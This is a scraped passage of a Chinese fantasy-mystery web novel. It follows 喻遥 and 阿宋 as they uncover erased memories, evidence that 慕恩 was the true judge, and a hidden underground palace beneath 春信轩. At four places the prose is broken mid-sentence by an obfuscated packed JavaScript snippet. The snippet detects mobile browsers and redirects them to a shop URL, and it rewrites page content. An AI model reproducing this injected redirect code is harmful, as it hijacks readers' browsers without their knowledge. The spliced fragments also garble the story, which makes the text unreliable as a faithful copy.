明大人道:“阵法奇才?那不就是揽星大人吗?我记得他好像确实创造了很多厉害的阵法。” 喻遥道:“除了他以外呢?在他身边,与他交好的,是否还有其他的阵法天才?” 明大人认真地思考了好一阵,摇摇头道:“好像没有这样的人。” 喻遥道:“那你知道什么?” 感受到他语气里若隐若现的不耐烦,明大人道:“喂!我真的有在认真给你想!我确实不记得有这个人啊!” 眼看两人又要呛呛起来,阿宋急忙从中周旋道:“诶诶,二位都别急,有话好好说。” 喻遥哼的一声,阿宋转过身朝明大人道:“大人,你在地界二次战乱的时候是跟着揽星大人一起对敌吗?” 明大人:“嗯啊!” 阿宋道:“那你可还记得,当时动乱时地界打仗的具体细节,比如动乱因何而起,又是何时而终?揽星大人立下过什么战功?斩杀过什么凶猛的敌人?或是其他的大事件?都可以说说!” 明大人道:“这肯定记得啊,当时动乱开始的很突然,我记得当时是......” 他话说了一半,就戛然而止了。 阿宋道:“怎么了大人?有什么不对劲吗?” 明大人皱着五官一脸迷茫,敲敲自己的脑袋道:“诶?我怎么不记得了?” 阿宋:“......” 他的表情并不像是开玩笑,好像格外认真的苦恼于自己的记忆下线,又狠敲两下自己的脑袋道:“我靠!我真不记得了,见鬼了!怎么回事,我明明记得当时打过好艰险的一场战,为什么我什么都不记得了!” 他焦急的样子十分惶恐,连抱臂站在一边的喻遥都转过眼神来看他。 阿宋瞧他状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12840648|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 激动异常,拍拍他的肩膀道:“明大人你别急,你慢慢说,怎么回事?” 明大人原地站立双手扶头,道:“我记得当年二次战乱的时候,我曾经跟着揽星大人打过非常艰险的一场战役,艰险到几乎命丧当时,可是我刚刚仔细回想,竟然不记得当时的具体情况!假使真的是时过多年,诸多细节已记不太清,但我断断不会连敌人是谁都想不起来!” 越说越激动,他又一副恍然意识到什么的样子激动道:“不!不只是那场仗,我甚至连地界二次战乱,是何时开始,因何而战,何时终止,这些都记不清了!不对!不对!我要去问下别人!” 他自说自话,全然已忘记身边的阿宋和喻遥,跑到一边使用传声术开始与人交谈,他每和对面的人说话一阵便停止术法,很快又再次运起,似乎是在与多人确认。 很快,他跑了回来,脸色平复了些,惶恐消退转化为一层复杂神色,朝二人道:“我的记忆果然出现了问题!” 阿宋刚要说话,明大人又道:“但不只是我一个人出现了问题。” 喻遥道:“怎么说?” 明大人道:“我虽然不记得当年战役的个中细节和敌人,但奇怪的是,我却还记得当初与我一同抗敌的同盟们!我刚与他们通信后发现,他们竟然也不记得这些事情了!” 闻言,喻遥陷入思考。一旁的明大人还在独自愤怒道:“一个人失忆还可说是生病,这么多人一起,一定是有人对我们下了什么术法!才会导致我们这样!他妈的可恶!该不会就是当时和我们打仗的对手吧!打不过我们就来阴的?!” 他越说越激动,但眼下也只是无能狂怒,喻遥和阿宋知会一眼,便好说歹说略略抚平了些他的情绪,承诺定会报告揽星查清此事,擅闯禁地的事情也无需担忧,他二人定会绝口不提,喻遥甚至贴心地给用自己的灵息开了移形咒,要把明大人给传送出去。 只是,临出门的时候,喻遥忽而提醒他,先不要把此事传出去。 明大人不解,他便解释道:“此事事关多人,又时隔久远,揽星大人必不会愿意在事情未调查清楚的情况下,就传播甚远,以免造成地界恐慌。” 明大人表示了解,应允后,便先行离开了。 他人一走,阿宋立即问道:“是灭痕咒?” 喻遥神情严峻,道:“恐怕不是。” 阿宋道:“那是?” 喻遥将怀里的千阵万术经摊开,再度寻到三境结界术那一页,指着下面批注的一行字道:“我想,或许是这个。” 阿宋望过去,上面所写,正是那句:弦境内施法记忆替换之时,必须要将两边的记忆合理替换成功,不可贪图省力直接单方面强行删除人的记忆形成记忆空白,否则施术者自身必将会受到强烈的反噬。 喻遥道:“灭痕咒固然强大,却不会有如此威力,除了消除一个人在物品上的记忆,他是断断做不到消除一人在众多人脑海中的记忆的,而且,听明大人所言,他们不记得战争如何开始,也不记得敌人是谁,但却仍记得他们身边具体的某个战友,可见,他们被删除的记忆,应当只是人们一段记忆中的某个细节点,能够做到如此精细的消除记忆,唯有这三境结界术,可以做到。” 阿宋道:“可是,这上面不是说单方面删除记忆,而不替换,施术者会遭到反噬吗?揽星大人的身体看着完全没有任何问题啊?” “怎么没有问题?” 喻遥转过身,目光如炬地盯着她道:“银发。” 73. 真假难辨 喻遥道:“我曾经和揽星闲聊时听他提到过,他的银发并非是天生的,而是后天所致。只是其中原因,他并未告诉过我。” 他的手在书簿上轻轻摩挲,若有所思道:“术法对人造成的反噬,通俗来说就是以燃烧人的生命力为代价,补足术法上所缺失的能量。若这术法真是他所操,他确实消除了众人脑海间关于那第三人的记忆,或许那一头银发,便是他付出的代价。” 只是,却还有无法解释通的地方。这三境结界术他既然是创造者之一,自然比任何人都要清楚如果错误使用,会给己身造成什么样的伤害。那么,他又为何只是单单抹除掉众人的记忆,而不直接行使替换之举呢? 喻遥和阿宋没有急着离开此地,而是继续在书柜的史书里翻找,不知为何,他们二人隐约觉得揽星这潜心隐秘的地方或许真的会有破局的线索。 也不知道翻了多久,忽然听阿宋在旁惊呼一声,喻遥视线当即追随而去,待看清她此时手里书簿上的图画,亦是诧然非常。 那画像上有两个人,彼此挽着对方肩膀,准确来说更像是一人撑扶着另一个受伤严重的人,看着关系十分亲近,其中一人是那被熔掉面貌的第三人,但另外一个人的样貌才是令他们真正震惊的原因。 那另一张并未被熔掉,且展露的十分清楚的脸,竟是慕恩! 喻遥和阿宋一时惊讶地说不出话,如今不解的事情众多,但都比不上这一件,因为他们如何也想不到慕恩一介普通人族,竟会出现在地界的史书簿上,而且,还与那第三人有牵连?! 喻遥将书簿阖上看看封面,上面没有书名,又再度展开翻看,疑惑道:“这是什么书?” 阿宋道:“没有名字,看里面内容,更像是个随手的速写拓本,上面只有一些画和简单的文字记录。” “画工倒是精湛。”他指间捻搓着纸张感受了几下道:“纸张材质也是上品。” 阿宋思考道:“我曾听我师傅提过,地界过去好像会寻找一些记忆精湛的画师,在上等的妖兽皮上绘画来记录地界的一些重大时刻,再制作成簿以记录留念。” 喻遥道:“功绩簿?” 阿宋道:“对对,就是这个东西。” 喻遥又翻了几页道:“确实不错,你看前面这页绘制的是无常索恶魂,这一页是地君伏魔,还有这一页是三界建交,记录的确实都是些重大的时刻或者地界的名人伟绩。” 每一页图画下面都会以简短的一句话,来概括这页的内容。阿宋翻回慕恩的那页,下面写的只有一句诗:勋业如星耀九天,黑白判官功万千。 仔细看慕恩的那副图画,周围还画了很多其他的人,他们围在中间二人不远处双臂高举,眉眼皆含笑,宛然是欢呼之态,结合诗句来看,应当是百姓们在伏魔过后对判官的感谢之举。 只是,这图像上的两个人,哪个都不是他们认识的判官揽星。 阿宋看着图画上慕恩身上悬挂着的鱼佩,觉得十分眼熟,似乎自己曾经也见过揽星以这鱼佩号令地界的官差,猜想应该是地界施令用的信物,她道:“难道这图画上的判官......指得是慕恩?可他若是判官,为何如今却身上一丝灵息都没有,看着与普通人族无异?难道......是故意隐蔽?不、应该不会,化形术若想不被人发现,需要维持十二个时辰不停运转,这是绝不可能做到的。我们在琼慕国相处多日,他就算隐蔽得再厉害也一定有某个瞬间被人感知到的。” 喻遥道:“不是故意隐蔽,那便只有另一种可能了——便是他自己也不知道自己是判官。” 阿宋道:“他失忆了?” 喻遥点头道:“有这个可能。又或者,是投入了轮回。” 静默良久,阿宋突然道:“如果慕恩真的是判官的话,那揽星他......” 喻遥转头望向阿宋,她欲言又止,但望着他的眼睛里却饱含深意。 他叹口气道:“我怕的就是这个。” 他能够大概猜想到阿宋此时心里在猜想什么,因为他也是这么想的。 倘若说慕恩是真正的判官,那么揽星就是个冒牌货,第三人与真判官是挚交好友,多年以前,假判官夺鱼佩,抹众人记忆暗自取代真判官的位置,企图瞒天过海,但却无法瞒过其挚交好友,无奈之下,只得杀人藏音,只是未想到,稳坐高位多年,却忽然发现对方未死,恐慌之下,只得竭尽全力掩藏痕迹。 这样,确实可以解释通很多事情,只是喻遥心中复杂,他一直以来所认识的那个心思简单性子活泼,对朋友亦是情深义重的揽星,真的会是一个为夺高位不惜杀人的人吗? 而且,还有个问题,他如果真的做下这些事情,为何偏偏又留下了自己所取代,原本是判官的慕恩,毕竟他活在这世上一天,纵然失忆忘记往事,也无疑是个极大的隐患。 无论如何,喻遥觉得,都应该给揽星一个向他们解释清楚一切的机会。 他传信给揽星,只盼他立刻回应,然而,对方却仍是无声无息,不知道是故意为之,还是真的无暇顾及。 阿宋道:“虽然已经让明大人不将此事说出去,但是涉及范围太广,过段时间怎么都会有人走漏风声的,如今揽星他不回话,事情又急待弄清楚,实在不行......我们只能去找慕恩了。” 喻遥突然道:“慕恩之前是不是没有参加妙人宴?” 阿宋点头道:“是啊,我听妙闻坊的小厮说他家中有些事情要处理。” 喻遥噤声陷入思考,阿宋道:“怎么了?有什么不对劲吗?” 喻遥摇摇头,不知道是说没有,还是他没想清楚,只道:“如今也只有先去找慕恩看看了。” 从地界的传送光门穿出,二人时隔一阵再度回到了玉奚城。 玉奚城还是那般的热闹,但是二人却没了上次进城时与他们同乐的心情。喻遥一路蹙着眉不说话,阿宋突然道:“你还在想揽星的事情吗?” 喻遥愣怔一瞬,点点头。 阿宋道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12910654|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “如果事实,真是我们猜想那般?你会如何?” 沉默良久,喻遥道:“我不知道。” 长久以来,他做事一向秉公执法,处理任何案子他都能够脱身其中情绪,冷静地处理好,但是揽星不同,揽星是他多年好友,陪伴他经历过诸多困难,假使揽星真的做下这等杀人夺位的事情,他便要亲手将自己的昔日好友送进地界监牢,这是他断断不愿面对的。 走着走着,就走到了春信轩门口。 踏进店内,屋内生意依然火热,只是主事位置上却不见慕恩的身影。一旁的小厮对喻遥阿宋有印象,上前来热络地打招呼道:“喻公子,宋姑娘,是来找我们家公子的吗?” 阿宋颔首道:“慕恩最近怎么样?上次从琼慕国回来,可有受伤?” 小厮笑道:“蛮好的蛮好的,公子并未受伤,只是大概是很久没出过远门的缘故,有些累着了,不过被朋友送回来以后修养了几天也就没事了,这不这几天又出门去采花寻香了。” 阿宋道:“慕恩现在不在?” 小厮点头。 喻遥突然道:“送你们老板回来的朋友,可是一个手上戴着绿玉扳指的人?” 小厮惊讶道:“您怎么知道?!我一开始未认出,后来听说才知道,那位就是妙人榜上赫赫有名的月下仙人冼先生,也真奇怪了,之前没听说过我们老板和他熟识啊。” 喻遥和阿宋对视一眼,看来,第三人和慕恩之间确实是认识的,且关系紧密,莫非冼先生在琼慕国突然截走慕恩,就是为了与昔日好友相认? 喻遥又问道:“慕老板之后可有再提过他?” 小厮回忆了一阵,摇摇头道:“没有了,就只有他苏醒时我们告诉他是冼先生送他回来的,那时提过一次,说起来有点奇怪,老板一听是他,当时忽然脸色就不太好,但很快就过去了,之后便独自在房内休憩多日,也不让下人们靠近,等再出门的时候,就说独自去寻香了,也没让我们跟着。” 阿宋暗忖道:慕恩一定是知道了什么事情,才会这般状态异常,出门寻香或许只是借口,此番出门一定另有目的。 突然,一阵熟悉的吱吱叫声传入耳畔,阿宋回首,望见店内的角落正趴着一只雪貂,它眼睛上有一条疤,正是揽星的那只。 小厮在旁道:“这个小家伙是最近跑进来的,好像是没有主人无家可归。他也不捣乱,我们就任它待在这儿了。” 阿宋和喻遥对视一眼。 小家伙?这可不是一般的小家伙,他乃揽星一魄化成,代表的就是揽星本人,趁慕恩不在此处长期待在春信轩,岂非作的就是监视之效? 想到此处,阿宋和喻遥向他缓缓走近。 那雪貂半眯着眼趴在地上,看似懒散,实则早已感受到他二人心绪和灵息涌动。在阿宋伸出手即将抓住它的一瞬间,它瞬间机敏动作,从她两掌间滑逃而出,自地面一跃而起,从打开的窗户缝间一窜而出,逃到街上。 喻遥喝道:“追!” 74. 树有乾坤 雪貂在人群繁杂的热闹街道上狂奔,一边跑一边不时回头瞄身后的喻遥阿宋。 阿宋暗道这雪貂真是狡猾的很,仗着自己体型优势,专门挑那个窄小的地方跑,什么摊位下的缝隙啊,路人的两腿之间啊,眼神但凡有一瞬没跟上,就会被它跑没影。 情急之下,阿宋瞧准时机,双腿腾跃而起落于身侧屋檐,一道蓝光闪过,她瞬间化回白狐原型,借着屋檐上没了阻挡的地形优势,四腿齐奔并行俯追那雪貂。 直追到一处巷子拐角处,那雪貂才速度见缓,看了眼阿宋转身遛窜进巷内深处,抓住早已等在巷内的一人衣袂攀爬而上,坐落在其肩头,发出呜呜吱吱的委屈动静。 那人缓缓转过身,阿宋登时刹足,狐瞳微微收缩,再度化回人形。 纠结万分竟不知以怎么样的语气开口,阿宋只静静道:“揽星大人。” 揽星安抚着看着略有受惊的雪貂,惊讶道:“阿宋?怎么是你?不是让你们回地界了吗?”意识到什么又道:“莫非,阿遥也来了?” 不待她回应,喻遥就从巷头拐角闪身而出,缓缓走近与阿宋并肩,盯着揽星道:“正是。” 揽星见喻遥和阿宋态度和脸色皆不太对劲,心中有些发虚,面上却强装镇静,开口打哈哈道:“你们怎么来玉奚了,是来这里玩的吗?哎呦,出来玩就出来玩,吓我这雪貂干什么,你们看给它吓的都炸毛了。” 他说着话刚要朝二人走近,喻遥就从怀中拿出那本功绩簿,将慕恩的那副画翻开展现给他。 揽星登时变了脸色,声音骤然也冷了下来,道:“你们进了藏经室。” 喻遥没有回答,抬起手两指间运转灵息。 揽星后退一步,谨慎中带着几分威胁道:“现在是白天,你灵息受限,以你二人合力,也打不过我的。” 喻遥道:“我本来就没想和你打。” 揽星一瞬愣怔。 喻遥道:“我们只是,想要你现在跟我们解释清楚这一切。” 揽星道:“我解释,你们就会信吗?” 阿宋道:“信!只要你说,我们就会信,我们是朋友不是吗?” 揽星双眼眸光微闪,他原以为喻遥和阿宋既然将这些东西摆在他面前,今天是无论如何都会与他打过一场的,但他万没想到他们竟然会对自己如此信任,不免一时心下感动。 揽星看向喻遥,喻遥轻轻点头,似认同了阿宋的朋友之说,又皱起眉道:“这一切到底是怎么回事?你、慕恩、月下仙人,你们到底都是什么关系,还有这图画上的判官,为何是慕恩?” 揽星敛了情绪看向那图画,一瞬已经了然他二人为何会有如此疑问,面色涌上几番纠结,嘴唇微微颤抖,忽而一甩袍袖,无可奈何道:“我.....阿遥,阿宋,我知道我现在说什么可能没有什么信服力,但这些事情,确实我现在一时无法跟你们解释清楚,但请你们一定要相信,我绝对是真正的判官,这身份是成千上万年下来,如假包换的,绝对不会错的!” 他停顿半晌,似在措辞,又道:“我现在有一件很着急很着急的事——但绝对不是坏事!我在找一个很重要的人,而且我找这个人也不是要害他......总之,哎!总之,我现在必须暂时先离开一阵!” 他面色急切,脸上涌上一层焦急的红,眼里满是忧虑和不安,看着心急如焚。 双方一时陷入静默,阿宋瞧着他不像是撒谎的样子。毕竟,如他所说,此时他二人合力也打不过揽星,对方自可轻易击败他二人后直接离去。而不是在这里连离开都要委屈求全征求他人意见。 半晌,喻遥在旁轻轻道:“你走吧。” 揽星登时松了口气,喻遥又道:“三日之后,我们会在这里等你的解释。” 揽星正色,重重地点了下头,本已要离去,又转身作了个揖,才彻底离去。 等他身影渐远,阿宋道:“我们在这里等他?” 喻遥道:“当然不。” 他拉起阿宋的手,跃起到一层房梁上,唇角扬起轻笑看她道:“走,我们跟着他。” 揽星很谨慎,喻遥和阿宋紧随其后看得出来,他怕被人发现自己的行踪,特意绕了一段路才往自己的最终目的地走,且中途隐匿了灵息,全靠双足步行,生怕被人追溯到。 一直到夜幕降临,才见他走到一处宅院偏门停下,却没有从门进入,而是靠着拳脚功夫从墙翻了进去。喻遥阿宋追过去,望着这高墙和房檐,觉得十分眼熟,阿宋仔细想了想,恍然惊觉,这不是春信轩吗? 揽星怎么来这了? 难道是这几天已派雪貂打听好情况,今日便自己出动了?可是慕恩又不在家,还是说是来这里拿什么东西的? 阿宋还在自顾乱猜,转头看喻遥手指在鼻下轻轻摩挲,沉默不语好似在思索什么,她胳膊杵了杵喻遥,问道:“我们进去吗?” 喻遥点头道:“进。” 二人驾轻就熟地翻了进去,落地的时候身上沾了些许树叶和花瓣,用手拍掉,抬头望向所处之地,如水的月光洒在花丛绿草间,如为其蒙上了一层银纱,清幽的花香入鼻,此时夜晚深处其中感受,只感到一派恬静安谧。 此地是春信轩的后园,之前听慕恩提过,是他平时精心养育花草树木的地方,如今看着眼前这些生长的十分茂盛的花朵树木和暗夜下的梦幻环境,不禁感慨,确实精心。 只是,这一派精心维持的茂盛间却有一处荒芜叫人无法不注意到。便是此园通往另一园的月洞门旁角落里所生长的一棵枯树。 这树看着年岁颇长,它的树冠早已稀疏,此时上面不挂一片残叶。枝干弯曲嶙峋,树皮也是干裂粗糙,残破的身躯之上,唯有那粗壮的树干看着依然充满力量。 喻遥阿宋是从后墙翻进来的,故而一眼便望见了这棵树,但若是从正途的月洞门穿进来,一眼便会被其余茂盛的景致夺取目光,却并不一定会对月洞旁这样一棵枯树驻目了。 一座精心养护的植物园内,有这样的一座枯树,就算不挪走,也绝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924370|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会任由他就在这里放着愈加衰败。想到此处,喻遥和阿宋感知到或有所古怪,不知不觉中行至枯树旁侧。 这老枯树的树干看着粗壮有力,阿宋双臂环抱上去竟是连半棵都抱不住。她收回手臂,手在树皮上摸来摸去。忽而,不知摸到了何处,她的手猛地向内陷了一下。 整棵枯树从地下根部泛起白色的光,借由树根、树干、树枝攀了上来,登时整棵树都亮了起来,所有的干枯枝叶、粗糙树皮都蓄满能量,一瞬之间恢复了它原本茁壮时的生机盎然。 面前咔哒一响,阿宋面前的树皮突然移动开来,原本完好的粗壮树干,霎时间出现了一个门户。 阿宋惊讶地后退一步,这树竟然是空的! 喻遥走上前,这树穴黑黝黝的,看不清里面是什么,他半蹲下身,朝里面喊了一句,竟有回音传来。他转身朝阿宋道:“深度不浅。” 阿宋颤声道:“这里面会是什么?” 喻遥摇头,道:“不知,但揽星的足音就是在这里消失的。” 阿宋道:“那我们也下去?” 喻遥伸出手,手往树穴下摸了摸,摸到了渐渐向下的坡度,道:“这树穴并非全空,里面好似有一条可滑落至下面的甬道。” 他思考片刻,本想让阿宋留在上面等他,毕竟下面情况尚不可知,但转念一想,留在上面未必还比下面更安全,不如留在身边自己还能随时照应,便告知阿宋,由他先滑下去看看情况,若确认安全她再下来。 交代完毕,喻遥就果断伏身滑了下去。 这滑道十分蜿蜒,且完全漆黑,坡度时而陡峭,时而平缓,喻遥感觉自己滑了许久,才从脚下看到光亮。 阿宋在上面等了许久也没有喻遥的回声,心下焦急,把其嘱咐的瞬间给忘了个干净,不经多想也跳下了那滑道。 树穴的门户缓缓阖上了。 阿宋在通道里横冲直撞,闭着眼尖叫着滑出来,直撞到个坚实的事物才噤住声,一手扶地一手扶头撑起身体半跪坐起,睁开眼,正对上喻遥两个瞪得溜圆的眼睛。 原来那坚实事物便是刚刚落地站起,确认安全后正准备回身给她讯号的喻遥。 阿宋一瞬间从他身上弹起,张口结舌我我我了个半天,才想起来去拉人。 喻遥坐起,却目光呆滞,阿宋手在他面前晃了晃也没反应,她心里暗道一声糟糕:完了完了,我这么大个阿遥不能给撞傻了吧? 她更加用力地挥手,焦急道:“你别吓我啊阿遥!你怎么了!” 忽然被喻遥抓住了手。 阿宋:“?” 喻遥看着她道:“没了。” 阿宋懵道:“什么没了?” 喻遥道:“我的灵息没了。” 阿宋眼睛瞪得滚圆,道:“怎么回事?是受限了?不对,现在是晚上啊!” 喻遥借她手上的力从地上站起,双手托起运起灵息,掌间只亮起了一瞬的光就又熄灭了,他取下金羽,口中念诀,金羽亦毫无反应。 75. 地下宫殿 阿宋凝神运息,道:“我的好像还在。” 喻遥一手托着下巴,原地踱了几步,忽而朝阿宋道:“把魂气算盘给我一下。” 阿宋果断从颈上解下递给他。 喻遥手指在算盘上掰下一颗珠子,放在掌心朝阿宋道:“打破它。” 阿宋迷茫一瞬,便不假思索地朝那珠子准确地施出一道灵息,珠子被打破的瞬间一股魂气涌出,涟漪般在空中弥散开来。 突然,喻遥脚下爆发出了一股强烈的冲击气息,将两人衣袍都吹得扬起,刺眼的银光晃得人睁不开眼,微微黯淡些后,阿宋才看清喻遥脚下出现的正是一个由无数闪烁银色光芒的线条交织而成,宛如一张巨大蛛网的法阵。 阿宋惊呼道:“这是什么鬼东西?” 喻遥静静道:“是限制灵息的法阵,只针对于魂体,他和珠子里流出的魂气产生了共鸣,所以现形了。” 这法阵针对性如此之强,又偏偏在他们刚刚落下此处时就加以为难,阿宋恍然意识道:“难道是有人故意把我们引到这的?!” 喻遥叹口气点了点头,朝下来的甬道里望了望,道:“回路大概已经被封了,我们只能继续往前,走一步看一步了。” 喻遥没有灵息,阿宋主动走在了他前面。这甬道下面是一块空地,前方只有一条通往未知的长长通路,两侧和地面由青黑色的砖石砌成,墙壁上每隔一段距离便有一处石座,里面盛放着一颗夜明珠,幽光闪闪,照亮前路。 长路尽头有一道门,门上既没有锁也没有法术禁制,阿宋手上一推便开了。 门后是一间宽敞的无窗厅堂,大致瞧着与寻常富户人家里的装潢无异,却又不同于地上慕恩家里的装潢。慕恩性子张扬热情外放,屋内装潢选用的也是偏暖色的,墙壁四周也是要多丰富有多丰富的挂堆满了字画和盆栽。 但此间却是以简约为主,稍微复杂些的装饰只有四周一些雕刻精美的石柱,上面盘绕着形态扭曲的奇异花草。偌大的空间里不选用灯火作照明,而是一律使用夜明珠,房间内乍一看倒有种让人感到阴寒的诡秘气息。 无法让人不注意的还是这厅堂中央陈列着的一块圆形屏风,这屏风通体明亮透白,静静屹立在这幽静之所,恰如一块月盘。阿宋盯着它看,不知不觉地整个人都深陷其中似的,视线不管怎样都从上面移不开。 恍惚间整个人似真的瞬间移身到了山谷间,耳边是虫鸣阵阵,举首是满月高悬,雾气和云彩渐渐朦胧了眼。 忽而背后一声极近的清脆响亮鸟鸣传来,阿宋回身,一只巨型白鹤已飞至她面首前,尖喙就要穿过她的胸膛。她下意识慌乱中后退一步,脚下踩空坠落山崖。 “阿宋!” 阿宋如梦初醒,激烈地喘着粗气,愣愣地转首看着刚刚将她从幻境中叫醒的喻遥,他正一脸关切地看着她道:“阿宋,你怎么了?” 阿宋擦擦额间冷汗道:“这屏风邪气的很,我刚才好像陷入了幻境似的。” 闻言,喻遥皱起眉头道:“我记得,千阵万术经上有记载,那第三位阵法天才,除了精于阵法,还擅于操控幻象。” 阿宋恍悟道:“此间主人是那月下仙人?引我们来这的人是他?” 喻遥道:“也许。” 这可真奇怪了,月下仙人为什么要在慕恩的春信轩下面建这样的一处地方?瞧这间屋子,两侧皆有通路通往别的地方,空间看着绝不算小,建造起来一定要花很多时日和人力,动静也是绝不会小,慕恩会不知道吗?如果知道,他又为何会允许呢? 喻遥抿紧嘴唇,抬起手在那块屏风上轻抚了几下,也不说话,阿宋以为他也被这古怪的屏风扰乱了心神,急忙喊了他一声,但喻遥却淡然地转过了头道:“放心,我没事。” 阿宋暗道喻遥怎么怪怪的,从下午进这个园子就一直心事重重的,不知道在想什么。 喻遥转身朝左边的通路走过去,阿宋刚要迈步跟上,忽而头顶上方传来动静,她一抬头,登时瞪大了双眼,厉喝道:“阿遥小心!” 喻遥来不及动作,背后就被阿宋猛推了一把,撞摔到一边,他仓皇抬头,发现伴随着轰隆一串巨响和尘土飞扬,他刚才站着的地方,此时已被毫无预兆从天顶落下的一堆巨石盖住,落地气力之猛将地面都砸出了裂痕,蔓延至他脚下。 喻遥立即从地上爬起,巨石堆堵住了大部分视线,他只能从缝隙间找寻阿宋的身影,口中焦急地喊道:“阿宋!阿宋!你在哪!” 对面阿宋吃痛的声音响起,道:“我没事,摔了一下而已,你怎么样?砸到没有?” 听到她安好,喻遥登时放下了心,道:“我也没事!” 那边传来磕哒的声响,应是阿宋站起踢了下地上的碎石,埋怨道:“这堆破石头是哪来的?” 喻遥道:“应该也是幻象,你试试以你的灵息能否破解!” “好!我试一下!” 阿宋双手掐指运起灵息,刚准备施向那堆巨石,忽而,那堆巨石又开始原地抖动起来,阿宋和喻遥下意识各自后退,然而那群巨石却并未动作袭人,只是在原地所有石头一起开始扭曲,融合,顷刻之间,在他们面前化为了一堵坚厚无比的石墙! 阿宋上前猛拍这堵石墙,呼喊喻遥的名字,都没有回音,她抬头望顶,发现这墙已严丝合缝地将这间屋子一隔为二,连声音也断绝了。 她又想发动指契咒心念传音,又意识到喻遥此时灵息受限,估计也是听不到的。 原地等待了一会儿,这墙都没有要恢复的意思。阿宋意识到自己决不能在这里坐以待毙,喻遥此时没有灵息,不管他在对面是等在原地还是前行都可能会陷入危险,她的灵息目前虽然没有被限制,但是难保之后不会,所以趁她现在尚有灵息,应尽快寻找出路,好保全他二人。 她从地上站起,朝厅堂右侧的出路走了出去。 出路之外是悠长而曲折的厅廊,她在里绕来绕去,越走越远,好像走不到尽头般。不知哪里溜进来的风,将悬挂在廊檐下的风铃轻轻作响,敲击着她的心忐忑不已。 忽而头顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954679|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一沉,吓得她脖子一缩,脑袋顶上好像落下个什么事物,她下意识伸手去摸,摸到一把毛茸茸,抓下来一看,一只老鼠正在她手里挣扎乱动呢。 “啊————我去啊老鼠!”阿宋尖叫着一下子扔出去,整个人汗毛竖起。 虽然说兽族平等一家亲吧,但是狐狸也怕耗子啊! 阿宋眼见着那“老鼠”摔在地上滚了好几圈,滚着滚着就化成了一个小孩形态。 小孩顶着两个豆眉,咬着嘴唇望着她委屈道:“人、人家不是老鼠,是、是松鼠啦。” 阿宋:“......” 似是怕它以颤抖语气说出的话没有信服力,豆眉小孩又化回了兽形,半转过身屁股朝着她,把松鼠特有的毛茸茸大尾巴晃了晃。 好好好。 阿宋扶了下额,晃晃手道:“不管你是什么鼠,先化回人型,我有话问你。” 松鼠乖巧地又化了回来。 阿宋半蹲下身与它身量齐平,摸了摸他的头。心中暗道,松鼠通常在高处和树丛间活动,不太可能在这幽暗的地下出没,而且,瞧这小孩身上穿的衣服,摸着也是材质极好的,定是有人特意给它穿上的,她猜测,这小松鼠大概率是生活在这地宫里的人从外面带进来养在身边陪伴的,时间一长受熏陶通了灵性现在才化了人形。 这松鼠虽然化成了人型,但是眼睛也和兽形时一样小而聚光,又黑又亮,炯炯有神一脸纯真地看着阿宋,她一抬眼正好对上。 阿宋心念一转,双手搭上小孩肩膀,尬笑两声道:“那个,小松......” “蜜豆。”小孩突然开口。 阿宋不明,小孩道:“我的、名字。” 阿宋愣了一下才反应过来,又道:“好,蜜豆啊,姐姐问你,你是住在这里吗?” 蜜豆咧开嘴,甜笑着点了下头:“嗯!” 阿宋又道:“那你刚才在这边,有没有见到一个穿着红色衣服,个子很高的大哥哥?” 蜜豆噘嘴摇头。 阿宋一阵失望,她本来还想着能不能让这小孩把她带过去找喻遥汇合呢,他现在没有灵息,不在自己身边,自己总是不放心的。 她不经意间一抬眼,忽而瞥见蜜豆手里好像攥着什么,那东西连接着一根绳到他的腰带上,应该是什么配饰,她伸手去拿,蜜豆也不反抗,就这么给她。 阿宋看着手里弯月形的玉佩,喃喃道:“月亮......” 蜜豆忽然道:“月亮、主人。” 阿宋看他道:“你是说你的主人,是月下仙人冼先生吗?” 蜜豆摇摇头道:“就是月亮,冼月,月亮。” 